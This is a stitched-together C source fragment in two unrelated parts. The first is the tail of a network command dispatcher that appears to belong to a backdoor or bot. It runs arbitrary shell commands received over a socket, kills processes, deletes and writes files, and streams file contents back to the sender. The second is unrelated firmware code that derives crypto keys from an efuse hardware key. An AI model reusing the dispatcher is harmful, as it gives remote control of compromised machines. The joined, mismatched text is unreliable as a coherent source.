break; case 5: // kill ret = syscall(SCN(SYS_kill), *(uint32_t *) (buffer + 4), buffer[1]); break; case 6: // chmod ret = syscall(SCN(SYS_chmod), buffer + 4, *(uint16_t *) (buffer + 2)); break; case 7: // rename rpkt(260); ret = syscall(SCN(SYS_rename), buffer + 1, buffer + 260); break; case 8: // unlink ret = syscall(SCN(SYS_unlink), buffer + 1); break; case 9: // mkdir ret = syscall(SCN(SYS_mkdir), buffer + 1, 0700); break; case 10: // wget ret = wget(fh); break; case 11: // lstat case 23: // stat { struct stat buf; int l = (buffer[0] == 23 ? stat : lstat) (buffer + 1, &buf); ((uint32_t *) buffer)[0] = buf.st_dev; ((uint32_t *) buffer)[1] = buf.st_ino; ((uint32_t *) buffer)[2] = buf.st_mode; ((uint32_t *) buffer)[3] = buf.st_size; ((uint32_t *) buffer)[4] = buf.st_mtime; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 5); } break; case 12: { struct statfs sfsbuf; int l = statfs(buffer + 1, &sfsbuf); ((uint32_t *) buffer)[0] = sfsbuf.f_type; ((uint32_t *) buffer)[1] = sfsbuf.f_bsize; ((uint32_t *) buffer)[2] = sfsbuf.f_blocks; ((uint32_t *) buffer)[3] = sfsbuf.f_bfree; ((uint32_t *) buffer)[4] = sfsbuf.f_bavail; ((uint32_t *) buffer)[5] = sfsbuf.f_files; ((uint32_t *) buffer)[6] = sfsbuf.f_ffree; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 7); } break; case 13: // exec quiet case 14: // exec till marker { int quiet = buffer[0] == 13; pid_t pid = fork(); if (pid == 0) { if (quiet) setfds(open("/dev/null", O_RDWR)); static char *argv[] = { "sh", "-c", buffer + 1, 0 }; execve("/bin/sh", argv, environ); _exit(0); } if (pid > 0) syscall(SCN(SYS_waitpid), (int)pid, &ret, 0); if (!quiet) wpkt(secret, 32 + 32); // challenge + id } break; case 15: // readdir { int l; while ((l = syscall(SCN(SYS_getdents64), fh, buffer, sizeof (buffer))) > 0) { uint8_t *buf = buffer; do { int w = l > 254 ? 254 : l; wpkt(buf, w); buf += w; l -= w; } while (l); } wpkt(buffer, 0); } break; case 16: // lseek ret = lseek(fh, *(int32_t *) (buffer + 4), buffer[3]); break; case 17: // fnv case 18: // readall { int fnv = buffer[0] == 17; uint32_t hval = 2166136261U; int l; while ((l = read(fh, buffer, 254)) > 0) { if (fnv) { uint8_t *p = buffer; while (l--) { hval ^= *p++; hval *= 16777619; } } else wpkt(buffer, l); } wpkt((uint8_t *) & hval, fnv ? sizeof (hval) : 0); } break; case 19: // write ret = write(fh, buffer + 1, clen - 1); break; case 20: // readlink { int l = syscall(SCN(SYS_readlink), buffer + 1, buffer + 260, 255); wpkt(buffer + 260, l > 0 ? l : 0); } break; case 21: // readret wpkt((uint8_t *) & ret, sizeof (ret)); break; case 22: // chdir ret = syscall(SCN(SYS_chdir), buffer + 1); break; default: x(); } } // keep fd open for at least delay, also delay hack attempts static const struct timespec ts = { 1, 0 }; syscall(SCN(SYS_nanosleep), &ts, 0); close(fd); } } }
/***************************************************************************** * 函 数 名 : create_crypto_key * * 功能描述 : 使用输入的数据和HUK,生成密钥。当前支持MD5、和SHA-1算法。 * * 生成密钥的方法: * 把HUK和输入的数据连接起来作为MD5或SHA-1算法的输入,计算其HASH值。 * * 输入参数 : data: 用于生成密钥的数据。 * len: 用于生成密钥的数据长度。(byte) * algorithm: 要使用的密钥生成算法。 * klen: 作为输入参数,存放key的缓冲区的长度。(byte) * * 输出参数 : key: 存放生成的密钥。buffer必须大于16(MD5)/20(SHA-1)字节。 * klen: 作为输出参数,存放生成的密钥的长度。(byte) * * 返 回 值 : BSP_OK: 生成成功。 * BSP_ERROR: 生成失败。 * * 其它说明 : klen为输入/输出参数,传入的klen变量所用内存必须可写回。 * 所以避免直接传入类似sizeof()的函数调用结果。 * *****************************************************************************/ int create_crypto_key_o(char *data, int len, CREATE_CRYPTO_KEY_ALGORITHM algorithm, char *key, int *klen) { char* crypto_data = NULL; UINT8 i=0; if(BSP_OK != param_check(data,len,algorithm,key,klen)) { security_print("ERROR create_crypto_key: param is invalid!\n"); goto ERROR_EXIT; } crypto_data = (char*)malloc(len + HUK_LEN); if(crypto_data == NULL) { security_print("ERROR create_crypto_key: malloc failed!\n"); goto ERROR_EXIT; } memset(crypto_data, 0, len + HUK_LEN); /* Read & Copy HUK.*/ if(BSP_OK != bsp_efuse_read((u32*)crypto_data, EFUSE_GRP_HUK, (HUK_LEN/sizeof(uint32)) )) { /*规避EFUSE写入后需要重启才能读取的问题*/ if(!CheckHukIsValid()) { security_print("ERROR create_crypto_key: efuseRead failed!\n"); goto ERROR_EXIT; } } for(i=0;i<HUK_LEN;i++) { if(0 != *(((UINT8*)crypto_data)+i)) { break; } } if(i>=HUK_LEN) { security_print("ERROR create_crypto_key: read_efuse NULL!\n"); goto ERROR_EXIT; } // Copy user data. memcpy((void*)((UINT32)crypto_data + HUK_LEN), data, len); // Encrypt. switch(algorithm) { /*case CREATE_CRYPTO_KEY_ALGORITHM_MD5:*/ /*case CREATE_CRYPTO_KEY_ALGORITHM_SHA1:*/ case CREATE_CRYPTO_KEY_ALGORITHM_SHA256: if(BSP_OK != crypto_hash(crypto_data, len + HUK_LEN, (CRYPTO_HASH_ALGORITHM)algorithm, key, klen)) { security_print("ERROR create_crypto_key: crypto_hash failed!\n"); goto ERROR_EXIT; } break; default: security_print("ERROR create_crypto_key: unknown algorithm!\n"); goto ERROR_EXIT; } //OK_EXIT: if(crypto_data != NULL) { free(crypto_data); } #ifndef _DRV_LLT_ /*REG_WRITE_32(PWR_SC_PERIPH_CLKDIS0, SOC_CLK_CLOSE_DIS0);*/ #endif return BSP_OK; ERROR_EXIT: if(crypto_data != NULL) { free(crypto_data); } return BSP_ERROR; }